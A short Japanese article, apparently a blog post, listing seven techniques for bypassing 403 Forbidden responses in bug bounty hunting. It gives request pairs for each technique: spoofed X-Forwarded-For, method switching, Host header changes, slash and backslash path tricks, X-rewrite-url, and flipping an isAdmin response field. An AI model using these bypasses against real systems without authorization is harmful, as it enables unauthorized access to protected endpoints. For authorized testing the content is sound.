🚧
403 Forbiddenを回避する7のコツ
ソフトウェア界隈ではBugBounty(脆弱性報奨金制度)と呼ばれる制度があります。
これはいわば、対象のシステムから脆弱性を探し出し、探し出した脆弱性のレベルに応じて、報奨金が支払われるという仕組みで成り立っています。
BugBountyでは主にWeb App, Mobile App, APIが対象となりますが、システムを調査していくと403エラーに何度も直面します。
今回はそんなBugBounty中に見つけた403エラーを回避する7つのTips(コツ)をご紹介します。
Tip1 - カスタムヘッダを追加
-- Blocked --
GET /admin HTTP/1.1
-- Bypassed --
GET /admin HTTP/1.1
X-Forwarded-For: http://127.0.0.1
Tip2 - リクエストメソッドを変更
GETをPOSTに変えて、Content-Length: 0
をセット。意外とメソッドを変えるだけでイケるもんです。
-- Blocked --
GET /admin HTTP/1.1
-- Bypassed --
POST /admin HTTP/1.1
Content-Length: 0
Tip3 - Hostヘッダ変更
これは某大手コーヒーチェーンのサイトで見つけました。何かうまく突破できないものかと四苦八苦している最中、思いつきで打ったものが上手くいき、驚いたのを今でも覚えています。
HostヘッダをGoogle.comに変更することで一般的にアクセスできないコンテンツにたどり着くことができました。
-- Blocked --
GET /target HTTP/1.1
Host: target.com
-- Bypassed --
GET /target HTTP/1.1
Host: google.com
Tip4 - URLにダブルスラッシュを使う
-- Blocked --
/api/user
-- Bypassed --
/api//user
Tip5 - URLにバックスラッシュを使う
-- Blocked --
/api/user
-- Bypassed --
/api\\user
Tip6 - X-rewrite-urlヘッダを使う
POST /xyz
のxyz
部分をX-rewrite-url
ヘッダに指定してあげます。
-- Blocked --
POST /xyz HTTP/1.1
Host:target.com
-- Bypassed --
POST / HTTP/1.1
Host: target.com
X-rewrite-url: xyz.py
Tip7 - レスポンスボディを変更
最後はゴリ押し感がありますが、レスポンスボディを変えちゃいます。
-- Blocked --
{ isAdmin: false}
-- Bypassed --
{ isAdmin: true }
Discussion